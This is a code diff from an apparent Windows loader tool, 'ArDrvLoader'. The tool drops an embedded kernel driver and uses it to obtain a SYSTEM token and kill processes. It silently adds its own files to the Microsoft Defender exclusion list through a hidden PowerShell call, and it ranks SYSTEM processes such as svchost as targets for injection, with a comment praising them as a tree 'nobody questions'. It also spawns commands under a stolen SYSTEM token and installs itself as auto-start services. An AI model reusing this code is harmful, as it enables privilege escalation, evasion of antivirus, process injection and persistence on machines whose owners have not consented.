Log(L"[!] StartService failed: %lu", e);
|
||||||
|
else
|
||||||
|
Log(L"[+] Driver service started");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[+] Driver service already running");
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
|
||||||
|
for (int i = 0; i < 50; ++i)
|
||||||
|
{
|
||||||
|
if (OpenDriver())
|
||||||
|
return true;
|
||||||
|
|
||||||
|
Sleep(20);
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[-] Driver device not found after service start");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static HANDLE DuplicateDriverReturnedTokenHandle(ULONG_PTR handleValue)
|
||||||
|
{
|
||||||
|
if (handleValue == 0)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
HANDLE src = reinterpret_cast<HANDLE>(handleValue);
|
||||||
|
HANDLE dup = nullptr;
|
||||||
|
|
||||||
|
if (!DuplicateHandle(
|
||||||
|
GetCurrentProcess(),
|
||||||
|
src,
|
||||||
|
GetCurrentProcess(),
|
||||||
|
&dup,
|
||||||
|
TOKEN_QUERY |
|
||||||
|
TOKEN_ASSIGN_PRIMARY |
|
||||||
|
TOKEN_DUPLICATE |
|
||||||
|
TOKEN_ADJUST_DEFAULT |
|
||||||
|
TOKEN_ADJUST_SESSIONID,
|
||||||
|
FALSE,
|
||||||
|
DUPLICATE_SAME_ACCESS))
|
||||||
|
{
|
||||||
|
Log(L"[-] Driver returned handle %p, but DuplicateHandle failed: %lu", src, GetLastError());
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!TokenIsLocalSystem(dup))
|
||||||
|
{
|
||||||
|
Log(L"[-] Driver returned token is not LocalSystem");
|
||||||
|
CloseHandle(dup);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[+] Driver returned usable SYSTEM token handle");
|
||||||
|
return dup;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EscalateViaDriver(HANDLE* outSystemToken)
|
||||||
|
{
|
||||||
|
if (!OpenDriver())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
struct EscRequest
|
||||||
|
{
|
||||||
|
BYTE op;
|
||||||
|
BYTE reserved[15];
|
||||||
|
};
|
||||||
|
|
||||||
|
static_assert(sizeof(EscRequest) == 16, "EscRequest must match driver input buffer size");
|
||||||
|
|
||||||
|
EscRequest req{};
|
||||||
|
req.op = 0x01;
|
||||||
|
|
||||||
|
ULONG_PTR outHandle = 0;
|
||||||
|
DWORD bytes = 0;
|
||||||
|
|
||||||
|
BOOL ok = DeviceIoControl(
|
||||||
|
g_hDriver,
|
||||||
|
IOCTL_ESC,
|
||||||
|
&req,
|
||||||
|
sizeof(req),
|
||||||
|
&outHandle,
|
||||||
|
sizeof(outHandle),
|
||||||
|
&bytes,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
DWORD err = ok ? ERROR_SUCCESS : GetLastError();
|
||||||
|
|
||||||
|
if (!ok && (err == ERROR_INVALID_PARAMETER || err == ERROR_MORE_DATA))
|
||||||
|
{
|
||||||
|
outHandle = 0;
|
||||||
|
bytes = 0;
|
||||||
|
|
||||||
|
ok = DeviceIoControl(
|
||||||
|
g_hDriver,
|
||||||
|
IOCTL_ESC,
|
||||||
|
&req,
|
||||||
|
sizeof(req),
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
err = ok ? ERROR_SUCCESS : GetLastError();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
Log(L"[-] IOCTL_ESC failed: %lu", err);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bytes >= sizeof(ULONG_PTR))
|
||||||
|
{
|
||||||
|
HANDLE token = DuplicateDriverReturnedTokenHandle(outHandle);
|
||||||
|
|
||||||
|
if (token)
|
||||||
|
{
|
||||||
|
if (outSystemToken)
|
||||||
|
*outSystemToken = token;
|
||||||
|
else
|
||||||
|
CloseHandle(token);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool systemNow = IsCurrentProcessSystem();
|
||||||
|
|
||||||
|
if (!systemNow)
|
||||||
|
Log(L"[-] IOCTL_ESC returned success, but current process is not SYSTEM and no usable token handle was returned");
|
||||||
|
|
||||||
|
return systemNow;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool TerminateProcessViaDriver(DWORD pid)
|
||||||
|
{
|
||||||
|
if (!pid)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!OpenDriver())
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD bytes = 0;
|
||||||
|
|
||||||
|
BOOL ok = DeviceIoControl(
|
||||||
|
g_hDriver,
|
||||||
|
IOCTL_TERM,
|
||||||
|
&pid,
|
||||||
|
sizeof(pid),
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
&bytes,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
Log(L"[-] TerminateProcessViaDriver(%lu) failed: %lu", pid, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[+] Terminate IOCTL accepted for PID %lu", pid);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
bool OpenDriver();
|
||||||
|
void CloseDriver();
|
||||||
|
bool EnsureDriverLoaded();
|
||||||
|
bool EscalateViaDriver(HANDLE* outSystemToken);
|
||||||
|
bool TerminateProcessViaDriver(DWORD pid);
|
||||||
|
|
||||||
|
// Writes the driver image packed into this executable to destPath, overwriting
|
||||||
|
// whatever is there. Returns false when no image is embedded or writing fails.
|
||||||
|
bool WriteEmbeddedDriverTo(const wchar_t* destPath);
|
||||||
|
|
||||||
|
// Size of the packed driver image in bytes, 0 when none is embedded.
|
||||||
|
DWORD EmbeddedDriverSize();
|
||||||
|
|
||||||
|
// Extracts the embedded ardrv.sys to destPath when the file is absent.
|
||||||
|
// Returns true when destPath exists afterwards.
|
||||||
|
bool ExtractDriverImageIfEmbedded(const wchar_t* destPath);
|
||||||
+329
@@ -0,0 +1,329 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "Exclusions.h"
|
||||||
|
#include "Paths.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
#include <sstream>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader";
|
||||||
|
static const wchar_t* kExclusionValue = L"ExclusionPaths";
|
||||||
|
|
||||||
|
static std::wstring PowerShellPath()
|
||||||
|
{
|
||||||
|
wchar_t sys[MAX_PATH]{};
|
||||||
|
|
||||||
|
if (GetSystemDirectoryW(sys, _countof(sys)) == 0)
|
||||||
|
return L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
|
||||||
|
|
||||||
|
return std::wstring(sys) +
|
||||||
|
L"\\WindowsPowerShell\\v1.0\\powershell.exe";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Runs a PowerShell one-liner and captures stdout.
|
||||||
|
static bool RunPowerShell(const std::wstring& script, std::wstring& output)
|
||||||
|
{
|
||||||
|
output.clear();
|
||||||
|
|
||||||
|
SECURITY_ATTRIBUTES sa{};
|
||||||
|
sa.nLength = sizeof(sa);
|
||||||
|
sa.bInheritHandle = TRUE;
|
||||||
|
|
||||||
|
HANDLE readEnd = nullptr;
|
||||||
|
HANDLE writeEnd = nullptr;
|
||||||
|
|
||||||
|
if (!CreatePipe(&readEnd, &writeEnd, &sa, 0))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0);
|
||||||
|
|
||||||
|
STARTUPINFOW si{};
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.dwFlags = STARTF_USESTDHANDLES;
|
||||||
|
si.hStdOutput = writeEnd;
|
||||||
|
si.hStdError = writeEnd;
|
||||||
|
si.hStdInput = nullptr;
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi{};
|
||||||
|
|
||||||
|
std::wstring cmd =
|
||||||
|
L"\"" + PowerShellPath() + L"\" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" +
|
||||||
|
script + L"\"";
|
||||||
|
|
||||||
|
std::vector<wchar_t> mutableCmd(cmd.begin(), cmd.end());
|
||||||
|
mutableCmd.push_back(L'\0');
|
||||||
|
|
||||||
|
BOOL ok = CreateProcessW(
|
||||||
|
nullptr,
|
||||||
|
mutableCmd.data(),
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
TRUE,
|
||||||
|
CREATE_NO_WINDOW,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
CloseHandle(writeEnd);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
{
|
||||||
|
CloseHandle(readEnd);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string bytes;
|
||||||
|
char buf[4096]{};
|
||||||
|
DWORD read = 0;
|
||||||
|
|
||||||
|
while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0)
|
||||||
|
bytes.append(buf, read);
|
||||||
|
|
||||||
|
WaitForSingleObject(pi.hProcess, 60000);
|
||||||
|
|
||||||
|
CloseHandle(readEnd);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
|
||||||
|
int need = MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), nullptr, 0);
|
||||||
|
|
||||||
|
if (need > 0)
|
||||||
|
{
|
||||||
|
output.resize(need);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), output.data(), need);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DefenderPresent()
|
||||||
|
{
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
bool found = false;
|
||||||
|
|
||||||
|
if (Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (_wcsicmp(pe.szExeFile, L"MsMpEng.exe") == 0)
|
||||||
|
{
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::wstring> DefaultExclusionPaths()
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> paths;
|
||||||
|
|
||||||
|
paths.push_back(ArdrvRoot());
|
||||||
|
paths.push_back(ArdrvStageDir());
|
||||||
|
|
||||||
|
wchar_t module[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
|
||||||
|
|
||||||
|
if (len > 0 && len < _countof(module))
|
||||||
|
paths.push_back(module);
|
||||||
|
|
||||||
|
return paths;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring EscapePowerShell(const std::wstring& s)
|
||||||
|
{
|
||||||
|
std::wstring out;
|
||||||
|
|
||||||
|
for (wchar_t c : s)
|
||||||
|
{
|
||||||
|
if (c == L'\'')
|
||||||
|
out += L"''";
|
||||||
|
else
|
||||||
|
out += c;
|
||||||
|
}
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ApplyExclusions(const std::vector<std::wstring>& paths, std::wstring& report)
|
||||||
|
{
|
||||||
|
report.clear();
|
||||||
|
|
||||||
|
if (paths.empty())
|
||||||
|
{
|
||||||
|
report = L"no paths";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring script = L"$ErrorActionPreference='Stop'; ";
|
||||||
|
|
||||||
|
for (const auto& p : paths)
|
||||||
|
script += L"try { Add-MpPreference -ExclusionPath '" + EscapePowerShell(p) +
|
||||||
|
L"' -ErrorAction Stop; Write-Output ('APPLIED ' + '" + EscapePowerShell(p) + L"') } " +
|
||||||
|
L"catch { Write-Output ('REFUSED ' + '" + EscapePowerShell(p) + L"' + ' :: ' + " +
|
||||||
|
L"$_.Exception.GetType().Name) }; ";
|
||||||
|
|
||||||
|
script += L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { 'NOW ' + $_ } } catch { 'NOW unavailable' }";
|
||||||
|
|
||||||
|
std::wstring output;
|
||||||
|
|
||||||
|
if (!RunPowerShell(script, output))
|
||||||
|
{
|
||||||
|
report = L"powershell failed";
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
report = output;
|
||||||
|
|
||||||
|
bool applied = output.find(L"APPLIED") != std::wstring::npos;
|
||||||
|
|
||||||
|
Log(L"[excl] apply result: %s", applied ? L"applied" : L"refused by policy");
|
||||||
|
|
||||||
|
return applied;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::wstring> QueryExclusions(std::wstring& report)
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> paths;
|
||||||
|
report.clear();
|
||||||
|
|
||||||
|
std::wstring output;
|
||||||
|
|
||||||
|
if (!RunPowerShell(L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { $_ } } catch { 'ERR ' + $_.Exception.Message }", output))
|
||||||
|
{
|
||||||
|
report = L"powershell failed";
|
||||||
|
return paths;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wistringstream in(output);
|
||||||
|
std::wstring line;
|
||||||
|
|
||||||
|
while (std::getline(in, line))
|
||||||
|
{
|
||||||
|
while (!line.empty() && (line.back() == L'\r' || line.back() == L'\n'))
|
||||||
|
line.pop_back();
|
||||||
|
|
||||||
|
if (line.empty())
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (line.rfind(L"ERR", 0) == 0)
|
||||||
|
{
|
||||||
|
report = line;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Defender answers with a pseudo-entry when the caller is not elevated.
|
||||||
|
if (line.rfind(L"N/A", 0) == 0)
|
||||||
|
{
|
||||||
|
report = line;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
paths.push_back(line);
|
||||||
|
}
|
||||||
|
|
||||||
|
report = paths.empty() ? L"none" : (std::to_wstring(paths.size()) + L" entries");
|
||||||
|
return paths;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<std::wstring> LoadExclusionList()
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> paths;
|
||||||
|
|
||||||
|
HKEY key = nullptr;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
|
||||||
|
return paths;
|
||||||
|
|
||||||
|
wchar_t buf[8192]{};
|
||||||
|
DWORD size = sizeof(buf);
|
||||||
|
DWORD type = 0;
|
||||||
|
|
||||||
|
if (RegQueryValueExW(key, kExclusionValue, nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
|
||||||
|
(type == REG_SZ || type == REG_EXPAND_SZ))
|
||||||
|
{
|
||||||
|
std::wstring all = buf;
|
||||||
|
std::wstring cur;
|
||||||
|
|
||||||
|
for (wchar_t c : all)
|
||||||
|
{
|
||||||
|
if (c == L'|')
|
||||||
|
{
|
||||||
|
if (!cur.empty())
|
||||||
|
paths.push_back(cur);
|
||||||
|
|
||||||
|
cur.clear();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
cur += c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!cur.empty())
|
||||||
|
paths.push_back(cur);
|
||||||
|
}
|
||||||
|
|
||||||
|
RegCloseKey(key);
|
||||||
|
return paths;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool SaveExclusionList(const std::vector<std::wstring>& paths)
|
||||||
|
{
|
||||||
|
std::wstring joined;
|
||||||
|
|
||||||
|
for (const auto& p : paths)
|
||||||
|
{
|
||||||
|
if (!joined.empty())
|
||||||
|
joined += L"|";
|
||||||
|
|
||||||
|
joined += p;
|
||||||
|
}
|
||||||
|
|
||||||
|
HKEY key = nullptr;
|
||||||
|
|
||||||
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
|
||||||
|
!= ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bytes = (DWORD)((joined.size() + 1) * sizeof(wchar_t));
|
||||||
|
|
||||||
|
bool ok = RegSetValueExW(
|
||||||
|
key,
|
||||||
|
kExclusionValue,
|
||||||
|
0,
|
||||||
|
REG_SZ,
|
||||||
|
(const BYTE*)joined.c_str(),
|
||||||
|
bytes) == ERROR_SUCCESS;
|
||||||
|
|
||||||
|
RegCloseKey(key);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatExclusionList(const std::vector<std::wstring>& paths)
|
||||||
|
{
|
||||||
|
if (paths.empty())
|
||||||
|
return L"none";
|
||||||
|
|
||||||
|
std::wostringstream os;
|
||||||
|
os << paths.size() << L" paths";
|
||||||
|
|
||||||
|
for (const auto& p : paths)
|
||||||
|
os << L"\r\n " << p;
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// Defensive exclusions. Best effort by design: Tamper Protection refuses
|
||||||
|
// Add-MpPreference even for SYSTEM, in which case the report says so instead of
|
||||||
|
// pretending the exclusion landed.
|
||||||
|
|
||||||
|
bool DefenderPresent();
|
||||||
|
|
||||||
|
// Paths the loader wants excluded: its own binaries and working directories.
|
||||||
|
std::vector<std::wstring> DefaultExclusionPaths();
|
||||||
|
|
||||||
|
// Applies the list through Add-MpPreference, then reads the result back.
|
||||||
|
// report receives one line per path (applied / refused) plus a summary.
|
||||||
|
bool ApplyExclusions(const std::vector<std::wstring>& paths, std::wstring& report);
|
||||||
|
|
||||||
|
// Current Defender exclusion list (empty when Defender is absent or refuses).
|
||||||
|
std::vector<std::wstring> QueryExclusions(std::wstring& report);
|
||||||
|
|
||||||
|
// Persisted wish-list under HKLM\SOFTWARE\ArDrvLoader.
|
||||||
|
std::vector<std::wstring> LoadExclusionList();
|
||||||
|
bool SaveExclusionList(const std::vector<std::wstring>& paths);
|
||||||
|
|
||||||
|
std::wstring FormatExclusionList(const std::vector<std::wstring>& paths);
|
||||||
+1826
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// Role-based service host:
|
||||||
|
// ArDrvLoader.exe -service driver|guard|repair [options]
|
||||||
|
int RunGuardService(int argc, wchar_t** argv);
|
||||||
|
|
||||||
|
// Installs the driver / guard / repair services as LocalSystem auto-start services.
|
||||||
|
// ArDrvLoader.exe -install-guard-services [options]
|
||||||
|
int InstallGuardServices(int argc, wchar_t** argv);
|
||||||
+445
@@ -0,0 +1,445 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "HostSpawn.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
#include <algorithm>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
static std::wstring Lower(const std::wstring& s)
|
||||||
|
{
|
||||||
|
std::wstring out = s;
|
||||||
|
|
||||||
|
for (auto& c : out)
|
||||||
|
c = (wchar_t)towlower(c);
|
||||||
|
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring BaseName(const std::wstring& path)
|
||||||
|
{
|
||||||
|
size_t slash = path.find_last_of(L"\\/");
|
||||||
|
return slash == std::wstring::npos ? path : path.substr(slash + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool TokenIsSystem(HANDLE token)
|
||||||
|
{
|
||||||
|
DWORD needed = 0;
|
||||||
|
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
|
||||||
|
|
||||||
|
if (needed == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::vector<BYTE> buf(needed);
|
||||||
|
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
|
||||||
|
|
||||||
|
if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LPWSTR sidStr = nullptr;
|
||||||
|
bool isSystem = false;
|
||||||
|
|
||||||
|
if (ConvertSidToStringSidW(tu->User.Sid, &sidStr))
|
||||||
|
{
|
||||||
|
isSystem = wcscmp(sidStr, L"S-1-5-18") == 0;
|
||||||
|
LocalFree(sidStr);
|
||||||
|
}
|
||||||
|
|
||||||
|
return isSystem;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ScoreImage(const std::wstring& imageName)
|
||||||
|
{
|
||||||
|
const std::wstring n = Lower(imageName);
|
||||||
|
|
||||||
|
// svchost is the ideal parent: dozens of them, SYSTEM, non-PPL for almost
|
||||||
|
// every hosted service, and a process tree nobody questions.
|
||||||
|
if (n == L"svchost.exe")
|
||||||
|
return 100;
|
||||||
|
|
||||||
|
if (n == L"wudfhost.exe")
|
||||||
|
return 60;
|
||||||
|
|
||||||
|
if (n == L"dllhost.exe")
|
||||||
|
return 50;
|
||||||
|
|
||||||
|
if (n == L"searchprotocolhost.exe")
|
||||||
|
return 40;
|
||||||
|
|
||||||
|
if (n == L"taskhostw.exe")
|
||||||
|
return 30;
|
||||||
|
|
||||||
|
// Protected / high-risk images we still accept only if they are actually
|
||||||
|
// injectable, which they usually are not.
|
||||||
|
if (n == L"winlogon.exe" || n == L"services.exe" || n == L"lsass.exe" ||
|
||||||
|
n == L"csrss.exe" || n == L"wininit.exe" || n == L"smss.exe")
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<HostInfo> EnumerateHosts(bool requireSystem)
|
||||||
|
{
|
||||||
|
std::vector<HostInfo> hosts;
|
||||||
|
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return hosts;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
if (Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
HostInfo info;
|
||||||
|
info.pid = pe.th32ProcessID;
|
||||||
|
info.imageName = pe.szExeFile;
|
||||||
|
|
||||||
|
HANDLE query = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, info.pid);
|
||||||
|
|
||||||
|
if (!query)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
wchar_t path[4096]{};
|
||||||
|
DWORD len = _countof(path);
|
||||||
|
|
||||||
|
if (QueryFullProcessImageNameW(query, 0, path, &len))
|
||||||
|
info.imagePath.assign(path, len);
|
||||||
|
|
||||||
|
HANDLE token = nullptr;
|
||||||
|
|
||||||
|
if (OpenProcessToken(query, TOKEN_QUERY, &token))
|
||||||
|
{
|
||||||
|
info.systemToken = TokenIsSystem(token);
|
||||||
|
CloseHandle(token);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(query);
|
||||||
|
|
||||||
|
if (requireSystem && !info.systemToken)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
DWORD session = 0;
|
||||||
|
|
||||||
|
if (ProcessIdToSessionId(info.pid, &session))
|
||||||
|
info.sessionId = session;
|
||||||
|
|
||||||
|
// Injectable = we can get the rights a remote-thread injection
|
||||||
|
// needs. PPL processes refuse these even to SYSTEM.
|
||||||
|
HANDLE inj = OpenProcess(
|
||||||
|
PROCESS_CREATE_THREAD |
|
||||||
|
PROCESS_VM_OPERATION |
|
||||||
|
PROCESS_VM_WRITE |
|
||||||
|
PROCESS_VM_READ |
|
||||||
|
PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_CREATE_PROCESS,
|
||||||
|
FALSE,
|
||||||
|
info.pid);
|
||||||
|
|
||||||
|
if (inj)
|
||||||
|
{
|
||||||
|
info.injectable = true;
|
||||||
|
CloseHandle(inj);
|
||||||
|
}
|
||||||
|
|
||||||
|
info.score = ScoreImage(info.imageName) + (info.injectable ? 5 : 0);
|
||||||
|
|
||||||
|
hosts.push_back(info);
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
|
||||||
|
std::sort(hosts.begin(), hosts.end(), [](const HostInfo& a, const HostInfo& b)
|
||||||
|
{
|
||||||
|
if (a.score != b.score)
|
||||||
|
return a.score > b.score;
|
||||||
|
|
||||||
|
return a.pid < b.pid;
|
||||||
|
});
|
||||||
|
|
||||||
|
return hosts;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<HostInfo> EnumerateSystemHosts()
|
||||||
|
{
|
||||||
|
return EnumerateHosts(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
SpawnResult SpawnThroughHost(
|
||||||
|
const std::wstring& commandLine,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool userSession,
|
||||||
|
bool requireSystem)
|
||||||
|
{
|
||||||
|
SpawnResult result;
|
||||||
|
|
||||||
|
if (commandLine.empty())
|
||||||
|
{
|
||||||
|
result.error = L"empty command line";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
|
||||||
|
|
||||||
|
if (hosts.empty())
|
||||||
|
{
|
||||||
|
result.error = L"no SYSTEM host process found (need admin or SYSTEM)";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto isUsable = [&](const HostInfo& h) -> bool
|
||||||
|
{
|
||||||
|
if (requireSystem && !h.systemToken)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!h.injectable)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!preferredImage.empty() &&
|
||||||
|
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Best injectable SYSTEM host, honouring the preferred image if given.
|
||||||
|
HostInfo* chosen = nullptr;
|
||||||
|
|
||||||
|
for (auto& h : hosts)
|
||||||
|
{
|
||||||
|
if (isUsable(h))
|
||||||
|
{
|
||||||
|
chosen = &h;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chosen && !preferredImage.empty())
|
||||||
|
{
|
||||||
|
// Preferred image exists but is not injectable: report that clearly
|
||||||
|
// instead of silently using something else.
|
||||||
|
for (const auto& h : hosts)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) == 0)
|
||||||
|
{
|
||||||
|
result.error = L"preferred host is not injectable (PPL or access denied): " +
|
||||||
|
h.imageName;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result.error = L"preferred host not running: " + preferredImage;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chosen)
|
||||||
|
{
|
||||||
|
result.error = L"no injectable SYSTEM host process found";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.hostImage = chosen->imagePath;
|
||||||
|
|
||||||
|
HANDLE host = OpenProcess(
|
||||||
|
PROCESS_CREATE_PROCESS | PROCESS_QUERY_LIMITED_INFORMATION,
|
||||||
|
FALSE,
|
||||||
|
chosen->pid);
|
||||||
|
|
||||||
|
if (!host)
|
||||||
|
{
|
||||||
|
result.error = L"OpenProcess(PROCESS_CREATE_PROCESS) failed: " +
|
||||||
|
std::to_wstring(GetLastError());
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hostToken = nullptr;
|
||||||
|
HANDLE primary = nullptr;
|
||||||
|
|
||||||
|
if (OpenProcessToken(host, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hostToken))
|
||||||
|
{
|
||||||
|
if (DuplicateTokenEx(
|
||||||
|
hostToken,
|
||||||
|
MAXIMUM_ALLOWED,
|
||||||
|
nullptr,
|
||||||
|
SecurityImpersonation,
|
||||||
|
TokenPrimary,
|
||||||
|
&primary))
|
||||||
|
{
|
||||||
|
if (userSession)
|
||||||
